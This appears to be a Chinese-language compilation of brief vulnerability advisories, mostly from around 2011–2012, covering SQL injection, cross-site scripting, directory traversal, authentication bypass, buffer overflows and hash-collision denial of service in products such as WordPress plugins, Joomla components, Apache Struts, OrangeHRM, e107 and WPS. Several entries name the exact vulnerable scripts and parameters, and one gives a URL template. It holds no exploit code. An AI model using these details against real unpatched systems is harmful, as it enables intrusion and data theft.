10gen MongoDB是一款开源NoSQL数据库。采用10gen公司提供的安装源安装存在严重安全漏洞，允许远程用户空密码连接。远程或者本地攻击者可以利用此漏洞，在扫描数据库默认端口后拿到MongoDB管理权限，获取更多信息。
TinyWebGallery是一款采用php开发的、免费的网络相册程序。TinyWebGallery包含的'inc/filefunctions.inc.php'和'info.php'脚本不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意SHELL命令。
VertrigoServ是一个Windows平台下的免费网络开发环境，它集成了Apache, PHP, MySQL, SQLite, SQLiteManager, PhpMyAdmin, Zend Optimizer。VertrigoServ存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pay With Tweet存在SQL注入漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link Lite存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Atmail Webmail存在HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
IP-Tools是一个将网络工具与信息整合在一起的工具程序。IP-Tools包含一个mini WEB服务器，没有正确过滤文件名，攻击者可以发送目录遍历序列，绕过WEB ROOT限制，以WEB权限查看文件信息。
IP-Tools是一个将网络工具与信息整合在一起的工具程序。IP-Tools包含一个远程命令服务器，绑定23端口，没有正确过滤命令输入长度，攻击者发送超过255字符的字符串可使服务程序崩溃。
eFront是一套在线学习系统。eFront student.php脚本不正确过滤用户提交的'download'参数，远程攻击者可以利用漏洞通过目录遍历攻击，以WEB权限获得系统文件信息。
Python是一种面向对象、直译式计算机程序设计语言，也是一种功能强大的通用型语言。Python在实现上存在拒绝服务漏洞，攻击者通过发送特制的HTTP POST请求表单利用此漏洞造成拒绝服务。
Novell Netware是一款商业性质的网络操作系统。Novell Netware在xnfs.nlm组件处理NFS RPC请求的实现上存在远程代码执行漏洞，此进程监听在UDP和TCP端口32778，在解码STAT_NOTIFY程序请求中的xdr已解码数据时，进程将用户提供的长度作为静态缓冲区的大小，远程攻击者可利用此漏洞执行任意代码。
Google Chrome是一个由Google公司开发的开源网页浏览器。Google Chrome 14和15在HTTPS地址栏的实现上存在欺骗漏洞，攻击者可利用此漏洞诱使用户访问恶意站点，泄露其证书和个人数据。
Novell Netware是一款商业性质的网络操作系统。Novell Netware在xnfs.nlm组件处理NFS RPC请求的实现上存在远程代码执行漏洞，此进程监听在UDP端口2049，在解码NFS_RENAME程序请求中的xdr已编码文件名时，进程将用户提供的长度作为静态缓冲区的大小，远程攻击者可利用此漏洞执行任意代码。
SQLiteManager是一个支持多国语言基于Web的SQLite数据库管理工具。SQLiteManager不正确处理用户提交的数据，远程攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Mozilla Firefox是一款开放源代码的WEB浏览器。处理拖放事件时Mozilla Firefox存在一个错误，可被利用绕过同源策略，在其他域上下文执行任意脚本代码。
HServer是一款WEB服务程序。HServer不正确处理用户提交的请求，攻击者可以利用目录遍历攻击以WEB应用程序上下文获得系统文件信息。
Drupal是一款开放源码的内容管理平台。Drupal Fill PDF模块存在安全漏洞，通过导入模版传递的输入在用于"eval()"调用之前在fillpdf.admin.inc中的"fillpdf_form_export_decode()"函数里缺少正确过滤，可被利用执行任意PHP代码。
Drupal是一款开放源码的内容管理平台。Drupal Fill PDF模块存在安全漏洞，在fillpdf.module中的"fillpdf_merge_pdf()"函数中由于缺失参数错误，可被利用通过构建特制WEB请求绕过验证机制。
phpMyDirectory是一种多功能的基于Web的目录管理系统。phpMyDirectory 1.3.3及其他版本存在安全漏洞，利用此漏洞可允许攻击者控制应用、访问或修改数据、利用其他数据库内的漏洞。
Orchard存在URI重定向漏洞，由于应用程序对用户提供的输入未经正确过滤。攻击者可利用该漏洞导致钓鱼攻击，也可能执行其他攻击。Orchard 1.3.9版本中存在该漏洞，其他版本也可能受到影响。
nginx是一款使用非常广泛的高性能web服务器。nginx的某些配置方式存在错误。可被远程攻击者利用造成目录遍历。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player不正确处理'.amr'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
Netcut用于管理网络设备，可切断局域网里任何主机使其断开网络。Netcut不正确处理特殊ARP请求，远程攻击者可以利用此漏洞提交恶意报文使应用程序崩溃。
Drupal是一款开放源码的内容管理平台。Drupal Registration Codes模块可让站点管理员对新账户注册进行限制，如仅限提供合法注册码的用户才能注册。默认安装模块没有对注册代码列表进行访问检查，可导致未验证成员可容易的查看注册代码列表。
Apache Struts是一款建立Java web应用程序的开放源代码架构。部分未明输入在用于创建文件之前没有由ParameterInterceptor进行正确过滤，可被利用通过目录遍历攻击创建或覆盖任意文件。
Apache Struts是一款建立Java web应用程序的开放源代码架构。当处理COOKIE名称过程中CookieInterceptor类没有正确限制对某些静态模式的访问，可被利用执行任意命令。
Apache Struts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java代码。
Siena CMS中存在跨站脚本漏洞。由于程序未能过滤用户提供的输入，攻击者可利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发动其他攻击。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。WordPress插件Comment Rating存在跨站脚本漏洞，由于程序对用户提供的输入未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。
FuseTalk存在多个跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
IBM Web Experience Factory中存在HTML注入漏洞，由于程序对用户提供的输入未经正确过滤。攻击者提供的HTML和脚本代码可以在受影响浏览器的上下文中运行，可能允许攻击者窃取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
lio-utils是一个用于设置LIO 3(Target 3和iSCSI 3)的底层配置工具。lio-utils存在安全漏洞，允许恶意用户提升特权。当检查调试模式时/etc/init.d/target脚本存在逻辑错误，可导致本来不允许在配置模式下执行的脚本正常运行。当运行调试模式时脚本以不安全模式创建/tmp/tgtctl.dbug临时文件，通过符号链接攻击可把数据追加到任意文件之中。
WSN Links是一款高级的基于PHP/MySQL的检索脚本。WSN Links 'report.php'脚本不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得数据库敏感信息或控制应用系统。
VLC Media Player是一款流行的多媒体播放程序。当解析非法TY文件的头字段数据时，可造成堆破坏。成功利用漏洞恶意第三方插件可使VLC媒体播放器进程崩溃，并可能以应用程序上下文执行任意代码。
Torque Torque是基于OpenPBS的开源项目，由Cluster Resources发布和维护，是目前应用最广泛的集群作业调度软件之一。TORQUE当使用munge验证时存在一个未明错误，可被利用伪造其他用户，绕过验证访问受限系统。
MaraDNS是一款开放源代码的DNS服务程序。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。如果语言没提供随机哈希函数或应用服务器不能识别使用多次碰撞攻击，攻击者可以发送大量碰撞键值使哈希表退化(degenerate)。注入N元素到表中的算法复杂度将会提升到O(n**2)，使用单个HTTP请求会消耗好几小时的CPU时间。
Register Plus Redux中存在以下多个安全漏洞：信息泄露漏洞，SQL注入漏洞，跨站脚本漏洞，任意代码执行漏洞和HTML注入漏洞。该漏洞源于对用户提供的输入未经充分过滤。攻击者可利用该漏洞获取敏感信息，操控应用程序；访问或修改数据，在底层数据库中利用该漏洞；或者在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书并发动其他攻击。Register Plus Redux 3.7.3.1版本中存在该漏洞，其他版本中也可能受到影响。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! QContacts组件存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数控，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Family Connections是一个开放源代码的内容管理系统，它可以容易和方便的创建私人家庭站点。Family Connections存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Family Connections是一个开放源代码的内容管理系统，它可以容易和方便的创建私人家庭站点。Family Connections存在HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla! 'com_caproductprices'组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
OrangeHRM存在跨站脚本漏洞，由于通过"id" GET参数传递到/lib/controllers/centralcontroller.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
OrangeHRM存在跨站脚本漏洞，由于附加到/lib/controllers/centralcontroller.php之后的URL的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
phpWebSite是一个内容管理系统（CMS）。phpWebSite存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
OrangeHRM存在跨站脚本漏洞，由于通过"isAdmin" GET参数传递到index.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
OrangeHRM存在跨站脚本漏洞，由于通过"uniqcode" GET参数传递到index.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
EPractize Labs Subscription Manager存在PHP代码注入漏洞。攻击者可以利用漏洞在受影响的应用程序上下文内注入并执行任意PHP代码，危及应用程序和底层系统，其他攻击也有可能。
MySQL是一款开放源代码关系数据库系统。 MySQL存在拒绝服务漏洞，目前详细细节未明。
Putty是一个免费的Windows平台下的telnet、rlogin和ssh客户端。Putty存在拒绝服务漏洞，目前详细细节未明。
Free Image Hosting脚本存在远程文件上传漏洞，攻击者可以利用php的网站后门上传图片。
PHP是一款流行的脚本编程语言。PHP City Portal存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Nagios是一款免费开放源代码的主机和服务监视软件。Nagios存在本地缓冲区溢出漏洞，目前没有详细细节提供。
PowerDVD存在远程拒绝服务漏洞。攻击者可以利用漏洞拒绝合法用户的服务使受影响的应用程序崩溃。
Joomla!是一款开放源码的内容管理系统。Simple File Upload存在远程代码执行漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的应用程序范围内执行任意代码。
webERP是一个开源的进销存系统，它支持多公司，多币种，多税种，多库存管理。通过"reportid" GET参数传递给/reportwriter/ReportMaker.php的输入在用于SQL查询之前缺少过滤，可导致SQL注入攻击：http://[host]/reportwriter/ReportMaker.php?action=go
Neturf eCommerce Shopping Cart存在跨站脚本漏洞，由于传递到search.php中"SearchFor" 参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响上下文的用户浏览器会话中执行任意HTML和脚本代码。
Texas Instruments Golden Gateway是一款设计运行在Texas Instruments (TI)数字信号处理器上的软件。执行'show rctp_info 1'可导致重要进程终止而使系统故障，攻击者持续发送此命令给MXP SHELL，可导致拒绝服务攻击。
Akiva WebBoard存在SQL注入漏洞，由于传递到/WB/Default.asp中"name"参数的输入(当"loginform" 设置为"yes")在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
DeDeCMS是一款国内非常流行的内容管理系统。DeDeCMS不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感数据库信息或操作数据库获得对应用程序的控制。
Open Conference Systems是一款免费的web发布工具。Open Journal Systems是一款期刊管理和出版系统。Open Harvester Systems是一款免费的元数据引用系统。Open Conference/Journal/Harvester Systems存在多个远程执行代码漏洞，这是由于其在管理接口处没有对文件上传进行保护，产生文件上传漏洞。攻击者可利用此漏洞伪造跨站请求，从而获取敏感信息。
AjaxChat存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
AjaxChat存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
DIY-CMS blog mod存在SQL注入漏洞，这是由于其对start, year, month参数没有进行严格地过滤，就使用它执行SQL语句查询。攻击者可利用此漏洞获取敏感信息。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Lazyest Backup存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Ariadne存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Rubinius是一个运行Ruby程序的虚拟机，其带有Ruby的核心库。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。如果语言没提供随机哈希函数或应用服务器不能识别使用多次碰撞攻击，攻击者可以发送大量碰撞键值使哈希表退化(degenerate)。注入N元素到表中的算法复杂度将会提升到O(n**2)，使用单个HTTP请求会消耗好几小时的CPU时间。
Rack为使用Ruby开发web应用提供了一个最小的模块化和可修改的接口。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。如果语言没提供随机哈希函数或应用服务器不能识别使用多次碰撞攻击，攻击者可以发送大量碰撞键值使哈希表退化(degenerate)。注入N元素到表中的算法复杂度将会提升到O(n**2)，使用单个HTTP请求会消耗好几小时的CPU时间。
Oracle GlassFish Enterprise Server是一款构建和部署下一代应用程序和服务的开源和开放社区平台。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。如果语言没提供随机哈希函数或应用服务器不能识别使用多次碰撞攻击，攻击者可以发送大量碰撞键值使哈希表退化(degenerate)。注入N元素到表中的算法复杂度将会提升到O(n**2)，使用单个HTTP请求会消耗好几小时的CPU时间。
Apache Tomcat是一款开放源码的JSP应用服务器程序。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。如果语言没提供随机哈希函数或应用服务器不能识别使用多次碰撞攻击，攻击者可以发送大量碰撞键值使哈希表退化(degenerate)。注入N元素到表中的算法复杂度将会提升到O(n**2)，使用单个HTTP请求会消耗好几小时的CPU时间。
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM)。  vtiger CRM中存在认证绕过漏洞。攻击者可利用该漏洞绕过认证进程，下载数据库备份进而修改配置设置。vtiger CRM 5.2.1版本中存在该漏洞，其他版本也可能受影响。
AirOS中存在认证绕过漏洞。攻击者可利用该漏洞绕过认证进程进而获得对受影响系统的未授权访问。
appRain是一个内容管理系统。appRain CMF存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
appRain是一个内容管理系统。appRain CMF存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
e107是一款内容管理程序。e107存在安全漏洞，由于传递到usersettings.php中"username" POST参数的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞注入任意SQL代码操纵SQL查询。
e107是一款内容管理程序。e107存在安全漏洞，由于传递到用户签名中"link" BBCode的某些输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在恶意数据被查看时在受影响站点上下文的用户浏览器会话中插入HTML和脚本代码。
e107是一款内容管理程序。e107存在安全漏洞，由于通过URL传递到e107_images/thumb.php或rate.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
e107是一款内容管理程序。e107存在安全漏洞，由于传递到e107_admin/users.php中"resend_name" POST参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。用于WordPress的WP Symposium插件存在安全漏洞，允许恶意用户向系统上传任意文件。wp-content/plugins/wp-symposium/uploadify/upload_admin_avatar.php和wp-content/plugins/wp-symposium/uploadify/upload_profile_avatar.php脚本允许向WEB ROOT中的文件夹上传任意扩展名的文件，攻击者可以上传恶意PHP脚本以WEB权限执行。
WiFi Protected Setup是由Wi-Fi联盟组织实施的认证项目，主要致力于简化无线局域网的安装及安全性能配置工作。 WPS包含一个称为"external registrar"的验证模式，仅需路由器的PIN，此模式的设计存在问题允许对PIN进行暴力猜测攻击。当PIN验证失败时访问接入点会发送EAP-NACK消息回客户端。根据发送回的EAP-NACK消息攻击者可判断PIN的前一半是否正确，此外，PIN的最后一个数字也是已知的，因为它是一个PIN的校验。这种设计大大降低了暴力破解PIN的尝试次数，尝试次数从10的8次方到10的4次方   10的3次方之间，共11000次尝试。根据报告一些无线路由器没有对暴力破解尝试进行任何锁操作策略，这就大大降少了成功进行暴力破解攻击的时间。也有报告一些路由器会因为暴力破解尝试产生拒绝服务条件，需要重新启动。
CoCsoft Stream Down是一个流媒体文件下载工具。在下载请求过程中，处理服务器应答存在边界错误，向应用程序发送包含超长字符串的应答请求，可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM )。vtiger CRM中的某些模块没有校验用户访问级别，可使用graph.php脚本进行匿名模式调用，利用此漏洞可用于查看或修改某些配置(组织名，模版，备份)。攻击者可以下载备份数据获得敏感信息。
Kerberos是一款广泛使用的使用强壮的加密来验证客户端和服务器端的网络协议。Kerberos提供的telnetd存在安全漏洞，允许攻击者以应用程序上下文执行任意代码。Telnetd中的"encrypt_keyid()"函数(libtelnet/encrypt.c)存在边界错误，远程攻击者向服务器发送特殊命令可触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Ubiquiti Networks AirOS是一款用于Ubiquiti多种设备的无线操作系统。Ubiquiti Networks AirOS访问限制实现存在错误，攻击者可以向受影响设备发送特制请求，无需正确验证即可访问受限页面(管理页面)。目前此漏洞已经在网络上积极利用。
TYPO3是一个免费开源的内容管理系统。TYPO3存在本地文件包含漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获取潜在的敏感信息并在web服务器进程上下文中执行任意脚本，操控应用程序进而操控计算机，也可能执行其他的攻击。
PHPShop CMS存在SQL注入漏洞。由于程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
PHPShop CMS存在跨站脚本漏洞。由于程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!'com_tsonymf'组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Public Knowledge Project产品存在跨站请求伪造漏洞，由于应用程序允许用户通过HTTP请求执行某些操作而没有进行任何有效检查，攻击者可以利用漏洞通过诱使用户以管理员身份登陆访问的恶意网站上传PHP文件。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!'com_matrimony'组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
FBC-Market是一款可以用于在网站上运行在线市场或分类广告的应用程序。Search Field存在跨站脚本漏洞，由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Joomla是一款开源的内容管理系统。Joomla com_dshop组件存在SQL注入漏洞，由于没有合理地验证用户输入，导致SQL注入攻击。攻击者可利用此漏洞泄露用户信息，或发起进一步的攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Mailing List插件存在任意文件下载漏洞，由于通过"wph", "wpdb", "wpu", and "wpp"参数传递到wp-content/plugins/mailz/lists/dl.php的输入在wp-content/plugins/mailz/lists/config/config.php中被用于建立一个数据库链接前未能正确验证，攻击者可以利用漏洞从当地资源，通过目录遍历序列下载任意文件。
Drupal是一个开源的内容管理系统(CMS) 平台。String Overrides Module是它的一个语言模块。Drupal SuperCron存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中运行HTML和脚本代码。
Whois.Cart()存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点的上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制的网站是如何呈现给用户。
OpenEMR是医疗实践管理系统。OpenEMR存在多个安全漏洞。攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。
PHPCMS是国内领先的网站管理系统，同时也是一个开源的PHP开发框架。PHPCMS 2008在处理某些模板参数时存在安全漏洞，其yp/product.php页面的pagesize参数没有正确进行检查过滤，导致可以提交任意字符，远程攻击者可利用此漏洞执行任意命令。
Microsoft Windows Phone是一款智能手机设备，基于移动windows操作系统。Microsoft Windows Phone处理消息存在错误，攻击者可以构建特制文本消息通过SMS, Facebook chat或Windows Live发送，使目标用户设备重启或处理消息相关的功能不能使用。
Websense是全球领先的Web安全和网页过滤软件供应商。Websense部分传递给报告管理WEB接口的输入在显示给用户之前缺少过滤，可被利用进行跨站脚本攻击。
Websense是全球领先的Web安全和网页过滤软件供应商。Websense存在未明错误可被利用执行任意代码。
Websense是全球领先的Web安全和网页过滤软件供应商。Websense部分传递给报告管理WEB接口的输入在返回用户之前缺少过滤，可被利用进行跨站脚本攻击。
Websense是全球领先的Web安全和网页过滤软件供应商。Websense报告管理WEB接口存在未明错误可被利用绕过验证机制。
FreeBSD是一款基于BSD的操作系统。PAM库提供一个灵活的用户身份验证和会话安装/拆卸框架，不仅基于系统，也大量用于第三方应用程序。各个身份验证方法(UNIX,LDAP, Kerberos等)实现在模块中根据预定义，命名策略来装载并执行。这些策略定义在/etc/pam.conf, /etc/pam.d/<policy name>, /usr/local/etc/pam.conf或/usr/local/etc/pam.d/<policy name>。基本系统包括pam_ssh模块，如果启用它，允许用户输入SSH私钥(以加密形式存储在.ssh目录中)密码来对其自身进行身份校验。如果使用提供的密码字段能对其中至少一个密钥进行解密就表示验证成功。默认情况下Pam_ssh模块拒绝没有密码字段的SSH密钥，如果存在"nullok"选项允许这些密钥进行验证。OpenSSL库调用用于对私钥进行解密时，如果密钥没有加密就会忽略密码字段参数，因为pam_ssh模块只检查提供密码字段的用户是否为null，使用未加密SSH私钥的用户可提供假的密码成功通过验证。也就是说在启用pam_ssh模块情况下，拥有未加密SSH密钥的用户可获得对其他账户的访问。
FreeBSD是一款基于BSD的操作系统。chroot在系统中发挥了根目录的切换工作，chroot(2)系统调用广泛用于多个应用，用于限制进程对文件系统的访问。nsdispatch(3) API实现提供按需重装载它配置的功能，此功能也可以通过配置文件请求来装载共享库并运行库提供的代码。nsdispatch(3) API没有任何机制对操作是否在chroot环境中进行告警，在其中的配置文件和共享库的标准路径不可信，FreeBSD ftpd(8)守护程序以chroot(2)配置并使用了nsdispatch(3) API。如果ftpd配置把用户放置在chroot环境，那么攻击者可以以用户登录并以提升的("root")权限执行任意代码。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。由于浏览器显示错误证书信息，可通过iframe可使用其他合法站点的证书，使用户信任当前网页内容。
OBM是一套CRM与Groupware系统。它主要用做一个客户关系数据库，一个共享日历(可以与Outlook相连)，或一个项目管理工具。OBM容易产生多个远程漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Ubiquiti Networks AirOS是一款用于Ubiquiti多种设备的无线操作系统。Ubiquiti Networks AirOS存在安全漏洞，允许远程未授权用户获得对设备的管理访问。
PukiWiki Plus!是一款基于PHP的WIKI软件。PukiWiki Plus!处理WEB表单条目时存在跨站脚本漏洞，攻击者构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Free Mp3 Player是一款MP3播放器。Free Mp3 Player不正确处理MP3文件，攻击者可以构建文件，诱使用户解析，可使应用程序崩溃，可以以应用程序上下文执行任意代码。
DotA OpenStats存在SQL注入漏洞。由于程序在被用于SQL查询前充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Infoproject Biznis Heroj存在SQL注入漏洞。攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Infoproject Biznis Heroj存在跨站点脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
epesi BIM是一款客户关系管理系统。epesi BIM存在跨站脚本漏洞，由于传递到admin/wfb.php中"msg"参数的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
epesi BIM是一款客户关系管理系统。epesi BIM存在跨站脚本漏洞，由于通过URL传递到admin/themeup.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
epesi BIM是一款客户关系管理系统。epesi BIM存在跨站脚本漏洞，由于传递到admin/phpfm.php中"dir_atual"参数的输入 (当"frame"设置为"3") 在被返回用户前未能正确过滤。攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Government Site Builder存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用楼漏洞在受影响站点上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
SpamTitan存在HTML注入漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
VLC Media Player是一款流行的多媒体播放程序。处理非法TY文件的头字段时存在堆破坏问题，攻击者构建恶意文件，诱使用户处理，恶意第三方插件可使VLC media player进程崩溃。
Plib是一个3D游戏开发包。当创建错误消息时"ulSetError()"函数(src/util/ulError.cxx)存在边界错误，可被利用溢出静态缓冲区。成功利用漏洞允许执行任意代码，但需要攻击者控制超长消息内容传递给"ulSetError()"函数。
Kaspersky Antivirus和Internet Security是卡巴斯基公司开发的杀毒软件和桌面安全套件。通过Kaspersky异常过滤器处理破坏的.cfg文件时，存在一个非法指针破坏漏洞，攻击者可以构建恶意配置文件，导入使应用程序崩溃。问题存在于处理.cfg文件导入时basegui.ppl
Barracuda Control Center是一款Barracuda产品的控制中心应用设备。Barracudas Control Center 620应用存在多个非持久型输入校验漏洞，攻击者可以构建恶意客户端请求劫持客户/管理员会话。成功利用需要用户交互可获得敏感信息，劫持会话，访问内部服务器。
Barracuda Control Center是一款Barracuda产品的控制中心应用设备。Barracudas Control Center 620存在多个持久型输入校验漏洞，本地非特权用户账户可实现/注入恶意持久性脚本代码。当验证用户解析后，可导致信息泄露，访问内部可用服务器，操作内容。
Koha，是第一个开放源代码的图书馆自动化系统，产生于1999。Koha最初设计的时候就是以占用最小的硬件资源为目标。Koha 的'help.pl' 文件容易产生注入漏洞。攻击者可以利用这个漏洞在WEB服务器进程下查看本地文件和执行脚本。可能有进一步攻击危险。          远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
腾讯QQ应用助手是一款通过WIFI网络或USB数据线同Android操作系统手机进行联通，传输用户的短信、联系人及音乐、照片等数据的应用程序，需要一个PC端程序和手机端程序相互配合实现功能。腾讯QQ应用助手手机端程序在启动时会开放13092端口服务，用于接收一个4位的验证码后，即可通过其自带的协议进行通讯，可传输文件、联系人、短信等信息，并可安装应用程序到用户的手机上。目前获知该验证码算法存在安全缺陷，可破解验证码生成算法，并通过QQ应用助手的PC端程序输入验证码，即可取得手机应用程序控制权或窃取用户手机隐私信息。
